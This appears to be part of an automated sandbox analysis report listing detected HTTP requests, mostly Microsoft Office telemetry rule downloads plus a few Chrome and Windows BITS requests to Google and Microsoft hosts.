Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
